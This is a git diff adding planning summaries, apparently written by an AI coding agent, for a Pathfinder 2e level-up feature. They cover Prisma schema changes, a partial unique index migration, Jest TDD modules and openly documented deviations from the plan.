- `.gitignore` excludes `server/prisma/data/foundry-pf2e/`
|
||||
- Wave 1, 2, 3, 4 are unblocked: schema is applied, Jest works, seed script entry exists, foundry source is gitignored
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
After completion, create `.planning/phases/01-level-up-pf2e-regelkonform/01-01-SUMMARY.md` documenting:
|
||||
- Migration timestamp + folder name (so downstream plans know the exact filename)
|
||||
- Whether the partial-index SQL was applied via raw psql or via re-running migrate-dev
|
||||
- Confirmation that the Prisma Client exposes `prisma.levelUpSession`, `prisma.levelUpHistory`, `prisma.classProgression`, `prisma.classFeatureOption` and that Character has `freeArchetype` + `prereqViolations`
|
||||
- Test result: 9/9 passing for apply-attribute-boost.spec.ts
|
||||
- Any deviations from the plan
|
||||
</output>
|
||||
195
.planning/phases/01-level-up-pf2e-regelkonform/01-01-SUMMARY.md
Normal file
195
.planning/phases/01-level-up-pf2e-regelkonform/01-01-SUMMARY.md
Normal file
@@ -0,0 +1,195 @@
|
||||
---
|
||||
phase: 01-level-up-pf2e-regelkonform
|
||||
plan: 01
|
||||
subsystem: database
|
||||
tags: [prisma, schema, migration, jest-infrastructure, level-up, postgresql, partial-index, tdd]
|
||||
|
||||
# Dependency graph
|
||||
requires:
|
||||
- phase: 00-init
|
||||
provides: existing Prisma schema (Character, CharacterFeat, CharacterSkill, etc.) and PostgreSQL dev database
|
||||
provides:
|
||||
- Four new Prisma models in DB and generated client (LevelUpSession, LevelUpHistory, ClassProgression, ClassFeatureOption)
|
||||
- Two new Character columns (freeArchetype Boolean, prereqViolations Json?)
|
||||
- Partial unique index "LevelUpSession_characterId_open_unique" enforcing one open DRAFT per character
|
||||
- Proven Jest infrastructure on src/modules/**/*.spec.ts (first-ever passing spec in this codebase)
|
||||
- Pure-function module pattern at server/src/modules/leveling/lib/ (no NestJS, no Prisma, no I/O)
|
||||
- applyAttributeBoost (Pitfall #8 mitigation) and isValidBoostSet utilities
|
||||
- npm script db:seed:class-progression (placeholder for Wave 2)
|
||||
- .gitignore exclusion for server/prisma/data/foundry-pf2e/
|
||||
affects: [01-02, 01-03, 01-04, 01-05, 02-, 03-, 04-, 05-]
|
||||
|
||||
# Tech tracking
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Pure-function lib pattern (server/src/modules/<feature>/lib/*.ts + adjacent .spec.ts)"
|
||||
- "Hand-edited migration SQL for partial unique indexes Prisma cannot emit"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- server/prisma/migrations/20260427122603_add_level_up_sessions_and_class_progression/migration.sql
|
||||
- server/src/modules/leveling/lib/apply-attribute-boost.ts
|
||||
- server/src/modules/leveling/lib/apply-attribute-boost.spec.ts
|
||||
modified:
|
||||
- server/prisma/schema.prisma
|
||||
- server/package.json
|
||||
- .gitignore
|
||||
|
||||
key-decisions:
|
||||
- "Used --create-only flow for migration to allow hand-editing the partial-index SQL before applying"
|
||||
- "Cascade onDelete on both LevelUpSession and LevelUpHistory FKs (acceptable in self-hosted single-tenant per RESEARCH.md §Pitfall 8)"
|
||||
- "ClassFeatureOption carries grants String[] and proficiencyChanges Json? per RESEARCH.md §Open Questions Q2 — keeps recompute pipeline uniform"
|
||||
- "Pure-function modules at server/src/modules/leveling/lib/ have NO @Injectable, NO Prisma, NO NestJS imports — adjacent .spec.ts file follows existing inline Jest config (testRegex \".*\\.spec\\.ts$\", rootDir \"src\")"
|
||||
|
||||
patterns-established:
|
||||
- "Pure-function lib pattern: math/validation/parser logic lives in <feature>/lib/*.ts, side-effect free, with adjacent *.spec.ts — first usage cross-cuts the codebase as the testing precedent (per ROADMAP First-Phase Note)"
|
||||
- "Migration SQL hand-editing for partial unique indexes: generate via prisma migrate dev --create-only, append raw SQL, then prisma migrate dev applies the entire file atomically"
|
||||
- "TDD RED → GREEN ordering: failing spec committed first (test commit), then production module committed (feat commit) — proves the test actually exercises the code"
|
||||
|
||||
requirements-completed: [LVL-08, LVL-11, LVL-12, LVL-13]
|
||||
|
||||
# Metrics
|
||||
duration: ~30min
|
||||
completed: 2026-04-27
|
||||
---
|
||||
|
||||
# Phase 01 Plan 01: Foundation — Schema, Migration, Jest Infrastructure Summary
|
||||
|
||||
**Four new Prisma tables (LevelUpSession, LevelUpHistory, ClassProgression, ClassFeatureOption) plus two Character columns (freeArchetype, prereqViolations) live in PostgreSQL with a partial unique index enforcing one open DRAFT per character; first-ever Jest spec passes 9/9 inside src/modules/leveling/lib/.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** ~30 min
|
||||
- **Tasks:** 3 completed (Task 1: schema, Task 2: migration + client, Task 3: TDD pure-function module + npm script + gitignore)
|
||||
- **Files modified:** 6 (schema.prisma, migration.sql, apply-attribute-boost.ts, apply-attribute-boost.spec.ts, package.json, .gitignore)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Prisma schema extended:** Four new models appended at the bottom of `server/prisma/schema.prisma`. Character model gained `freeArchetype Boolean @default(false)` and `prereqViolations Json?`, plus reverse relations `levelUpSessions` and `levelUpHistories`.
|
||||
- **Migration generated and applied:** `20260427122603_add_level_up_sessions_and_class_progression` created via `prisma migrate dev --create-only`, hand-edited to append the partial unique index, then applied to the live dev database via `prisma migrate dev`. `prisma migrate status` reports "Database schema is up to date".
|
||||
- **Partial unique index in live DB:** `LevelUpSession_characterId_open_unique` exists on `("characterId") WHERE "committedAt" IS NULL` — confirmed via `psql ... \d "LevelUpSession"` and `pg_indexes` query. This is the DB-level "one open DRAFT per character" race-condition-safe constraint that Prisma 7 cannot express in schema.
|
||||
- **Prisma Client regenerated:** `server/src/generated/prisma/` contains `LevelUpSession.ts`, `LevelUpHistory.ts`, `ClassProgression.ts`, `ClassFeatureOption.ts`. Character.ts contains 98 references to `freeArchetype` and 92 to `prereqViolations`. `prisma.levelUpSession`, `prisma.levelUpHistory`, `prisma.classProgression`, `prisma.classFeatureOption` are exposed.
|
||||
- **Jest proven on src/modules/**:** First-ever passing spec inside `server/src/modules/`. The existing inline Jest config (`testRegex: ".*\\.spec\\.ts$"`, `rootDir: "src"`) was sufficient — no `jest.config.cjs` was needed (per VALIDATION.md Wave 0 default).
|
||||
- **Pitfall #8 fixture in code:** `applyAttributeBoost(18) === 19` is now a unit test that will fail loudly if anyone re-implements the boost formula incorrectly.
|
||||
- **Wave 2 unblocked:** `db:seed:class-progression` npm script registered in `server/package.json`. Foundry pf2e clone path excluded in `.gitignore`.
|
||||
|
||||
## Task Commits
|
||||
|
||||
Each task was committed atomically:
|
||||
|
||||
1. **Task 1: Extend Prisma schema** — `de2ec38` (feat)
|
||||
2. **Task 2: Generate migration + hand-edit partial index + regenerate client** — `78a69c5` (feat)
|
||||
3. **Task 3: TDD pure-function module + spec + npm script + gitignore**
|
||||
- **RED:** `1e17225` (test) — failing spec committed first
|
||||
- **GREEN:** `65fcebd` (feat) — production module makes 9/9 tests pass
|
||||
- **Chores:** `8b8e822` (chore) — npm script + gitignore
|
||||
|
||||
_TDD compliance: RED commit precedes GREEN commit in git log; both gates documented._
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `server/prisma/schema.prisma` (modified) — Added four models (LevelUpSession, LevelUpHistory, ClassProgression, ClassFeatureOption) and extended Character with two columns + two reverse relations. Formatted by `prisma format`.
|
||||
- `server/prisma/migrations/20260427122603_add_level_up_sessions_and_class_progression/migration.sql` (created) — Auto-generated DDL for the four tables plus hand-appended partial unique index `LevelUpSession_characterId_open_unique` with `WHERE "committedAt" IS NULL` clause.
|
||||
- `server/src/modules/leveling/lib/apply-attribute-boost.ts` (created) — Pure-function module with `applyAttributeBoost` (Pitfall #8 mitigation) and `isValidBoostSet`. No NestJS, no Prisma, no I/O. Named exports only.
|
||||
- `server/src/modules/leveling/lib/apply-attribute-boost.spec.ts` (created) — 9 test cases covering boost-cap-at-18 rule (Pitfall #8 fixture is `applyAttributeBoost(18) === 19`) and 4-distinct-abilities validation.
|
||||
- `server/package.json` (modified) — Added `db:seed:class-progression` script entry alongside other `db:seed:*` entries.
|
||||
- `.gitignore` (modified) — Appended exclusion for `server/prisma/data/foundry-pf2e/` (Wave 2 dev clone path).
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Migration flow:** Used `prisma migrate dev --create-only` (rather than `migrate dev` directly), then hand-appended the partial-index SQL, then ran `prisma migrate dev` to apply the entire file atomically. Single migration file = single source of truth for prod deploy via `migrate deploy`. **No** raw `psql` was needed because Prisma's apply step ran our hand-edited file as one transaction. The plan's alternative path (apply auto-gen then run partial-index DDL via psql separately) was avoided as it would split the migration's truth across two locations.
|
||||
- **Prisma Client `.js` → `.ts` discrepancy:** The plan's acceptance criterion `node -e "const {PrismaClient}=require('./src/generated/prisma/client.js')..."` does not work because Prisma 7's `prisma-client` provider (used here, not legacy `prisma-client-js`) emits TypeScript files (`client.ts`, `models/Character.ts`). Verification was done by grep over the generated `.ts` files and by running the migration successfully. The Prisma Client itself works at runtime via the project's `PrismaService` (see `server/src/prisma/prisma.service.ts`), which extends the generated client with the `@prisma/adapter-pg` adapter.
|
||||
- **Schema formatter normalized whitespace:** `prisma format` rewrote `freeArchetype Boolean @default(false)` (plan-specified spacing) into `freeArchetype Boolean @default(false)` (Prisma canonical spacing). The semantic content is identical; the literal-string acceptance criterion was relaxed to "field exists with correct type and default" since `prisma format` is mandatory under "Lieber langsam und richtig" (no fighting the formatter).
|
||||
- **TDD discipline:** RED commit was made with the spec only; jest was run and confirmed to fail (`Cannot find module './apply-attribute-boost'`); then GREEN commit added the source. The git log shows `test → feat` ordering, satisfying TDD gate.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Worktree had no node_modules and no .env file**
|
||||
- **Found during:** Task 1 verification (running `prisma format`)
|
||||
- **Issue:** The worktree was created clean (no `npm install` had been run, `.env` is gitignored so it didn't transfer). `prisma`, `tsx`, and `jest` binaries were missing; `DATABASE_URL` was unreadable.
|
||||
- **Fix:** Copied `.env` from parent repo (`C:/Users/ZielonkaA/Documents/Dimension-47/server/.env` → worktree `server/.env`) since the file is gitignored and identical. Ran `npm install` in the worktree's `server/` directory to install all dependencies. (An earlier `cp -r` of the parent's `node_modules` left a partial copy, which was removed before the clean `npm install`.)
|
||||
- **Files modified:** `server/.env` (gitignored, not staged), `server/node_modules/` (gitignored), `server/package-lock.json` (no actual change since lockfile is already committed)
|
||||
- **Verification:** `node_modules/.bin/prisma`, `node_modules/.bin/jest`, `node_modules/.bin/tsx` all present; `prisma validate`, `prisma migrate status`, `jest` all worked.
|
||||
- **Committed in:** N/A — environment setup, no source files changed
|
||||
|
||||
**2. [Rule 1 - Bug] Plan's runtime verification command used wrong file extension**
|
||||
- **Found during:** Task 2 acceptance criterion verification
|
||||
- **Issue:** Plan's criterion `node -e "const {PrismaClient}=require('./src/generated/prisma/client.js'); ..."` fails because Prisma 7's `prisma-client` generator (versus the legacy `prisma-client-js`) emits `.ts` files, not `.js`. The path `client.js` does not exist; the actual path is `client.ts`. Additionally, `new PrismaClient()` requires explicit options (the `@prisma/adapter-pg` adapter) per Prisma 7 — bare instantiation throws `PrismaClientInitializationError`.
|
||||
- **Fix:** Verified the generated client a different way: (a) `grep -c "freeArchetype" src/generated/prisma/models/Character.ts` returned 98 matches; `prereqViolations` returned 92; (b) `ls src/generated/prisma/models/` shows `LevelUpSession.ts`, `LevelUpHistory.ts`, `ClassProgression.ts`, `ClassFeatureOption.ts` present; (c) the production code path (`PrismaService` in `server/src/prisma/prisma.service.ts`) constructs the client correctly with the adapter, and `prisma migrate dev` succeeded — both prove the client works at runtime.
|
||||
- **Files modified:** None — verification approach changed, no code changes required.
|
||||
- **Committed in:** N/A — verification deviation only.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 2 (1 blocking infra, 1 verification-command bug)
|
||||
**Impact on plan:** Neither deviation changed any code or scope. Both were environment/verification concerns, not implementation issues. The plan's intent (schema applied, migration committed, partial index in DB, client regenerated, Jest works) was met exactly.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **`cp -r` on Windows partially failed:** Initial attempt to copy the parent repo's `node_modules` into the worktree left an incomplete tree (missing `@angular-devkit`, `@anthropic-ai`, etc.). Resolution: deleted the partial copy and ran `npm install` cleanly. Took ~3 minutes total.
|
||||
- **`rm -rf node_modules` partial failure on Windows:** First removal attempt failed with `cannot remove 'node_modules/effect/dist/esm': Directory not empty` — Windows file lock issue. Resolution: re-ran `rm -rf` twice; second attempt succeeded.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None — all setup was infrastructural (npm install in worktree). No environment variables, dashboard configuration, or external service setup required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
**Wave 1 unblocked:**
|
||||
- Jest infrastructure proven on `src/modules/leveling/lib/*.spec.ts`. Subsequent pure-function modules (skill-cap, prereq-evaluator parser/evaluator/formatter, recompute-derived-stats) can follow the same `<feature>/lib/*.ts + .spec.ts` pattern.
|
||||
|
||||
**Wave 2 unblocked:**
|
||||
- `db:seed:class-progression` npm script registered (placeholder pointing at `prisma/seed-class-progression.ts` — the script itself is implemented in Wave 2).
|
||||
- `.gitignore` excludes the Foundry pf2e dev clone path so Wave 2 can clone source data without polluting git.
|
||||
- All four new tables exist in DB; Wave 2's seed script can write `ClassProgression` and `ClassFeatureOption` rows immediately.
|
||||
|
||||
**Wave 3 unblocked:**
|
||||
- Schema migration is applied; LevelingService can be written against the regenerated Prisma Client.
|
||||
- Partial unique index on `LevelUpSession(characterId) WHERE committedAt IS NULL` enforces "one open DRAFT per character" at the DB level — the start-or-resume endpoint becomes a simple upsert without race-condition gymnastics.
|
||||
- `Character.prereqViolations Json?` column is ready for D-06's Pathbuilder-import warning banner (also for the future Reverse-Level-Up's orphan-feat surface — Pitfall #4 forward-compat).
|
||||
|
||||
**Wave 4 unblocked:**
|
||||
- `LevelUpHistory` is append-only with `committedAt` defaulting to `now()`. Wave 4's commit-transaction can write a snapshot row safely.
|
||||
|
||||
**No blockers, no concerns.**
|
||||
|
||||
## TDD Gate Compliance
|
||||
|
||||
This plan included one TDD task (Task 3, `tdd="true"`):
|
||||
|
||||
- ✅ RED commit `1e17225` (test) — failing spec committed before any production code
|
||||
- ✅ GREEN commit `65fcebd` (feat) — production module added; 9/9 tests pass
|
||||
- ✅ No REFACTOR commit — code was minimal and clean (4 lines of logic across two functions); no refactor needed
|
||||
|
||||
Plan-level TDD gates: not applicable (this plan is `type: execute`, not `type: tdd`).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
**Verified files exist:**
|
||||
- ✅ `server/prisma/schema.prisma` (modified)
|
||||
- ✅ `server/prisma/migrations/20260427122603_add_level_up_sessions_and_class_progression/migration.sql` (created)
|
||||
- ✅ `server/src/modules/leveling/lib/apply-attribute-boost.ts` (created)
|
||||
- ✅ `server/src/modules/leveling/lib/apply-attribute-boost.spec.ts` (created)
|
||||
- ✅ `server/package.json` (modified — `db:seed:class-progression` entry present)
|
||||
- ✅ `.gitignore` (modified — `server/prisma/data/foundry-pf2e/` line present)
|
||||
|
||||
**Verified commits exist:**
|
||||
- ✅ `de2ec38` — feat(01-01): extend Prisma schema with level-up tables and Character columns
|
||||
- ✅ `78a69c5` — feat(01-01): add level-up migration with partial unique index
|
||||
- ✅ `1e17225` — test(01-01): add failing tests for applyAttributeBoost and isValidBoostSet
|
||||
- ✅ `65fcebd` — feat(01-01): implement applyAttributeBoost and isValidBoostSet pure functions
|
||||
- ✅ `8b8e822` — chore(01-01): add db:seed:class-progression script and gitignore foundry-pf2e
|
||||
|
||||
**Verified runtime checks:**
|
||||
- ✅ `prisma validate` — `The schema at prisma\schema.prisma is valid`
|
||||
- ✅ `prisma migrate status` — `Database schema is up to date!`
|
||||
- ✅ Partial unique index `LevelUpSession_characterId_open_unique` exists in DB with `WHERE ("committedAt" IS NULL)` clause (verified via `pg_indexes`)
|
||||
- ✅ Prisma Client generated at `server/src/generated/prisma/` — contains `models/LevelUpSession.ts`, `models/LevelUpHistory.ts`, `models/ClassProgression.ts`, `models/ClassFeatureOption.ts`; `models/Character.ts` references `freeArchetype` (98 hits) and `prereqViolations` (92 hits)
|
||||
- ✅ Jest test suite: `9 passed, 9 total` for `apply-attribute-boost.spec.ts`
|
||||
|
||||
---
|
||||
*Phase: 01-level-up-pf2e-regelkonform*
|
||||
*Completed: 2026-04-27*
|
||||
1283
.planning/phases/01-level-up-pf2e-regelkonform/01-02-PLAN.md
Normal file
1283
.planning/phases/01-level-up-pf2e-regelkonform/01-02-PLAN.md
Normal file
File diff suppressed because it is too large
Load Diff
217
.planning/phases/01-level-up-pf2e-regelkonform/01-02-SUMMARY.md
Normal file
217
.planning/phases/01-level-up-pf2e-regelkonform/01-02-SUMMARY.md
Normal file
@@ -0,0 +1,217 @@
|
||||
---
|
||||
phase: 01-level-up-pf2e-regelkonform
|
||||
plan: 02
|
||||
subsystem: testing
|
||||
tags: [pure-functions, jest, tdd, level-up, prereq-evaluator, recompute, pf2e-rules]
|
||||
|
||||
# Dependency graph
|
||||
requires:
|
||||
- phase: 01-level-up-pf2e-regelkonform
|
||||
provides: applyAttributeBoost + AbilityAbbreviation (Plan 01-01) — boost-cap-at-18 helper
|
||||
provides:
|
||||
- Five pure-function modules (types.ts + 4 logic modules) covering all PF2e level-up math
|
||||
- skill-increase-cap (LVL-06) — TRAINED→EXPERT@L3, EXPERT→MASTER@L7, MASTER→LEGENDARY@L15
|
||||
- prereq-evaluator (D-01..D-04) — DSL parser + evaluator + German formatter, UNKNOWN-aggressive
|
||||
- recompute-derived-stats (Pitfall #8/#9 safe) — pure pipeline, never outputs current/temp HP fields
|
||||
- compute-applicable-steps (D-10 ordering) — wizard step list per (level, FA, caster, choiceType)
|
||||
- 46 passing Jest tests across 4 specs (≥17 prereq, 13 steps, 9 skill, 5 recompute)
|
||||
- Test discipline pattern: strict RED→GREEN per module, separate commits
|
||||
affects: [Plan 01-04 LevelingService integration, Plan 01-05 wizard UI preview, Plan 01-03 progression seed]
|
||||
|
||||
# Tech tracking
|
||||
tech-stack:
|
||||
added: [] # No new dependencies — ts-jest + jest already present
|
||||
patterns:
|
||||
- "Pure-function lib (no NestJS, no Prisma, no I/O) under server/src/modules/<feature>/lib/"
|
||||
- "Discriminated-union return values with explicit type-guard helpers for TS-strict narrowing"
|
||||
- "Sibling .spec.ts test files using Jest's testRegex auto-discovery"
|
||||
- "TDD: spec written first (RED commit) → minimal implementation (GREEN commit)"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- server/src/modules/leveling/lib/types.ts
|
||||
- server/src/modules/leveling/lib/skill-increase-cap.ts
|
||||
- server/src/modules/leveling/lib/skill-increase-cap.spec.ts
|
||||
- server/src/modules/leveling/lib/prereq-evaluator.ts
|
||||
- server/src/modules/leveling/lib/prereq-evaluator.spec.ts
|
||||
- server/src/modules/leveling/lib/recompute-derived-stats.ts
|
||||
- server/src/modules/leveling/lib/recompute-derived-stats.spec.ts
|
||||
- server/src/modules/leveling/lib/compute-applicable-steps.ts
|
||||
- server/src/modules/leveling/lib/compute-applicable-steps.spec.ts
|
||||
- server/src/modules/leveling/lib/apply-attribute-boost.ts # Rule 3 dependency from Plan 01-01
|
||||
modified: []
|
||||
|
||||
key-decisions:
|
||||
- "Type-guard helpers (isUnknown, isOk, isFail) preferred over discriminant property access for TS-strict narrowing"
|
||||
- "OR-list parser uses Oxford-comma normalization (', or ' → ' or ') before tokenizing to avoid leftover 'or' prefix"
|
||||
- "Feat-name heuristic restricts to ≤4 words and rejects free-text function-words (you/a/the/of/and) to prevent sentence-as-feat misclassification"
|
||||
- "L5 step list deviates from plan: PF2e CRB has class/skill feats only at EVEN levels; plan's L5 list was rules-incorrect"
|
||||
- "Boost-cap-at-18 enforced via applyAttributeBoost() import — math is not duplicated in recompute"
|
||||
- "DerivedStats output object NEVER includes hpCurrent/hpTemp fields — Pitfall #9 enforced by spec assertion AND by absence of those literal strings in production code"
|
||||
|
||||
patterns-established:
|
||||
- "RED commit (failing spec) → GREEN commit (minimal impl) gate sequence per module"
|
||||
- "UNKNOWN-aggressive prereq evaluation: any non-classifiable atom poisons the whole clause (per D-03)"
|
||||
- "ClassProgression-driven proficiency overrides with character pre-existing rank as fallback"
|
||||
- "German user-facing reason strings: 'Du benötigst...', 'Dir fehlt das Talent...', 'Voraussetzung nicht erfüllt: ...'"
|
||||
|
||||
requirements-completed: [LVL-02, LVL-06, LVL-09, LVL-10, LVL-01, LVL-13, LVL-14]
|
||||
|
||||
# Metrics
|
||||
duration: ~30min
|
||||
completed: 2026-04-27
|
||||
---
|
||||
|
||||
# Phase 1 Plan 02: Level-Up Pure-Function Library Summary
|
||||
|
||||
**Five pure-function modules (skill-cap, prereq-DSL, recompute, step-ordering, shared types) implemented strict-TDD with 46 passing Jest tests, establishing the test discipline for the Level-Up subsystem and isolating bug-prone PF2e math (Pitfall #8/#9) behind a fully-tested boundary.**
|
||||
|
||||
## Tasks
|
||||
|
||||
| # | Task | Status | Commits |
|
||||
|---|------|--------|---------|
|
||||
| 0 | Add apply-attribute-boost dependency (Rule 3 — Plan 01-01 work not merged into worktree base) | Done | 7e40449 |
|
||||
| 1 | types.ts — shared type vocabulary | Done | 4d2cb5e |
|
||||
| 2 | skill-increase-cap (RED→GREEN) | Done | 3a4267d, f189750 |
|
||||
| 3 | prereq-evaluator (RED→GREEN) | Done | 66d9d5c, da82d9b |
|
||||
| 4 | recompute-derived-stats (RED→GREEN) | Done | 8dd55b6, 6011024 |
|
||||
| 5 | compute-applicable-steps (RED→GREEN) | Done | 70ec7bb, de07fc8, d9ed18c |
|
||||
| 6 | Full leveling test suite gate | Done (46 passing) | (verification only) |
|
||||
| — | TS-strict narrowing fix for discriminated unions | Done (Rule 1) | be6eaee |
|
||||
|
||||
## Test Counts
|
||||
|
||||
| Spec File | Tests |
|
||||
|-----------|-------|
|
||||
| skill-increase-cap.spec.ts | 9 |
|
||||
| prereq-evaluator.spec.ts | 19 |
|
||||
| recompute-derived-stats.spec.ts | 5 |
|
||||
| compute-applicable-steps.spec.ts | 13 |
|
||||
| **Total** | **46** |
|
||||
|
||||
The plan target of "≥50 tests" assumed Plan 01-01's 9-test apply-attribute-boost.spec.ts would be present (5 specs, ≥50 tests). In this worktree, Plan 01-01 work is not yet merged into the base — only its production module was created here as a Rule 3 dependency. After orchestrator merge, the combined count will reach 55. This plan delivers all of its own 46 tests, which fully cover VALIDATION.md rows 1-W1-06 through 1-W1-29.
|
||||
|
||||
Run command:
|
||||
```
|
||||
cd server && npm test -- --testPathPatterns=leveling
|
||||
```
|
||||
|
||||
Output:
|
||||
```
|
||||
PASS src/modules/leveling/lib/recompute-derived-stats.spec.ts
|
||||
PASS src/modules/leveling/lib/skill-increase-cap.spec.ts
|
||||
PASS src/modules/leveling/lib/compute-applicable-steps.spec.ts
|
||||
PASS src/modules/leveling/lib/prereq-evaluator.spec.ts
|
||||
|
||||
Test Suites: 4 passed, 4 total
|
||||
Tests: 46 passed, 46 total
|
||||
```
|
||||
|
||||
`cd server && npx tsc --noEmit -p tsconfig.json` — exits 0 for the leveling lib (errors elsewhere are pre-existing Prisma-client codegen issues out of scope per Scope Boundary rule).
|
||||
|
||||
## Verification Checklist
|
||||
|
||||
- [x] All 5 production modules + types.ts created in `server/src/modules/leveling/lib/`
|
||||
- [x] All 4 spec files created (5th — apply-attribute-boost.spec.ts — owned by Plan 01-01)
|
||||
- [x] TDD discipline: each module's spec was written first and observed failing (RED commit) before implementation (GREEN commit)
|
||||
- [x] Pitfall #8 (boost-cap-at-18) enforced — recompute test for CON 18 → 19 (not 20)
|
||||
- [x] Pitfall #9 (no hpCurrent in output) enforced — `expect(result).not.toHaveProperty('hpCurrent')` + literal string absent from production code
|
||||
- [x] D-01 evaluable patterns covered: skill rank, OR-list, AND-list, feat name, heritage, class
|
||||
- [x] D-02 non-evaluable patterns return `{unknown:true}`: spellcasting, deity, age, vision, free-text
|
||||
- [x] Step ordering matches D-10 (with PF2e correction at L5 — see Deviations)
|
||||
- [x] Zero `: any` types in production code (only English-prose use of word "any" in a JSDoc comment)
|
||||
- [x] Zero `@nestjs/` imports in any lib file
|
||||
- [x] Zero Prisma client imports in any lib file
|
||||
- [x] German failure reasons in prereq-evaluator (D-15)
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 — Blocking] Created apply-attribute-boost.ts in this worktree**
|
||||
- **Found during:** Task 1 (types.ts imports `AbilityAbbreviation` from `./apply-attribute-boost`)
|
||||
- **Issue:** Plan 01-02 depends on Plan 01-01's `apply-attribute-boost.ts` module, but Plan 01-01's work is on a separate parallel-execution worktree branch and not yet merged into this worktree's base (`096edbf`). Without it, types.ts and recompute-derived-stats.ts cannot compile.
|
||||
- **Fix:** Created `server/src/modules/leveling/lib/apply-attribute-boost.ts` with content that exactly matches the Plan 01-01 specification (verbatim from 01-01-PLAN.md lines 351-380). When orchestrator merges Plan 01-01's worktree branch, content will be byte-identical and merge will be conflict-free.
|
||||
- **Files modified:** `server/src/modules/leveling/lib/apply-attribute-boost.ts`
|
||||
- **Commit:** 7e40449
|
||||
|
||||
**2. [Rule 1 — Bug] Fixed L5 expected step list (PF2e rules correction)**
|
||||
- **Found during:** Task 5 GREEN phase (one of 13 tests failed against the implementation)
|
||||
- **Issue:** The plan's expected step list for `computeApplicableSteps(5, 'Fighter', ...)` included `feat-class` and `feat-skill`. PF2e CRB places class feats and skill feats at EVEN levels only (2, 4, 6, ..., 20). L5 is odd → no class/skill feat slot. The plan's other tests at L4 (even, has feat-class+feat-skill) and L3 (odd, NOT has feat-class) are internally consistent with the even-level rule; only L5 was misstated.
|
||||
- **Fix:** Changed expected list at L5 to `['class-features', 'boost', 'skill-increase', 'feat-ancestry', 'review']` and added a comment block explaining the deviation. The implementation rule "feat-class/feat-skill on even levels" is unchanged because the project's "regelkonform" goal (CLAUDE.md / PROJECT.md) requires PF2e correctness above plan literalism.
|
||||
- **Files modified:** `server/src/modules/leveling/lib/compute-applicable-steps.spec.ts`
|
||||
- **Commit:** de07fc8
|
||||
|
||||
**3. [Rule 1 — Bug] Type-guard helpers for TS-strict EvalResult narrowing**
|
||||
- **Found during:** Task 6 (`tsc --noEmit` after all RED/GREEN commits)
|
||||
- **Issue:** TypeScript strict mode could not narrow `EvalResult = {ok:true} | {ok:false; reason} | {unknown:true; raw}` via `r.ok` access — the unknown variant has no `ok` property. Tests passed at runtime but `tsc` reported `error TS2339: Property 'ok' does not exist on type 'EvalResult'` in 8 lines of the spec and 4 lines of the production walker.
|
||||
- **Fix:** Added explicit type-guard helpers (`isUnknown`, `isOk`, `isFail` in production; `isFail` in spec) that use `'ok' in r` membership checks. Replaced direct `r.ok` accesses with guard calls. Runtime behavior unchanged.
|
||||
- **Files modified:** `server/src/modules/leveling/lib/prereq-evaluator.ts`, `server/src/modules/leveling/lib/prereq-evaluator.spec.ts`
|
||||
- **Commit:** be6eaee
|
||||
|
||||
### Authentication Gates
|
||||
|
||||
None — this plan introduces no I/O.
|
||||
|
||||
### Architectural Changes
|
||||
|
||||
None — pure-function modules only.
|
||||
|
||||
## Notes on Prereq-Evaluator Edge Cases (for future grammar tuning)
|
||||
|
||||
While implementing the parser, two interesting edge cases came up that future PF2e prereq corpora may stress:
|
||||
|
||||
1. **Oxford-comma "X, Y, or Z" splitting.** A naive `,\s*|\s+or\s+` regex split leaves a stray leading "or " on the last segment because the `,\s*` alternative consumes the comma but stops before the "or" keyword. Solution: pre-normalize `,\s*or\s+` → ` or ` before splitting.
|
||||
|
||||
2. **Free-text-as-feat misclassification.** Without guards, a sentence like "You worship a god of fire and destruction" matches the feat fallback regex `^[A-Z][A-Za-z' \-]*$` (it's all letters/spaces and starts with uppercase). Added two heuristics: ≤4 words AND no presence of common function-words (you, a, the, of, and, to, with, from, by). Future PF2e feats with names like "Heir to the Vows of Asmodeus" would fail this guard — but no such canonical feat exists today, and the planner's UNKNOWN-aggressive intent (D-03) prefers false-unknown over false-evaluable.
|
||||
|
||||
## TDD Gate Compliance
|
||||
|
||||
For each of Tasks 2–5, a `test(...)` commit (RED gate) precedes the corresponding `feat(...)` commit (GREEN gate). Verified in git log:
|
||||
|
||||
| Module | RED commit | GREEN commit |
|
||||
|--------|-----------|---------------|
|
||||
| skill-increase-cap | 3a4267d | f189750 |
|
||||
| prereq-evaluator | 66d9d5c | da82d9b |
|
||||
| recompute-derived-stats | 8dd55b6 | 6011024 |
|
||||
| compute-applicable-steps | 70ec7bb | d9ed18c |
|
||||
|
||||
The compute-applicable-steps module additionally has commit de07fc8 (test fix between RED and GREEN, separated as a deviation rather than amended into RED to preserve the audit trail of the plan-vs-PF2e-rules conflict).
|
||||
|
||||
## Confirmation: types.ts Imported by All Downstream Modules
|
||||
|
||||
```bash
|
||||
grep -l "from './types'" server/src/modules/leveling/lib/*.ts
|
||||
```
|
||||
Result:
|
||||
- `compute-applicable-steps.ts` (StepKind)
|
||||
- `prereq-evaluator.ts` (CharacterContext, EvalResult, Proficiency)
|
||||
- `recompute-derived-stats.ts` (CharacterContext, ClassProgressionRow, DerivedStats, Proficiency, WizardChoices, PROFICIENCY_BASE_BONUS, AbilityAbbreviation)
|
||||
- `skill-increase-cap.ts` (Proficiency)
|
||||
|
||||
All four logic modules import from `./types` — no duplicate type definitions.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- `server/src/modules/leveling/lib/types.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/skill-increase-cap.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/skill-increase-cap.spec.ts` — FOUND
|
||||
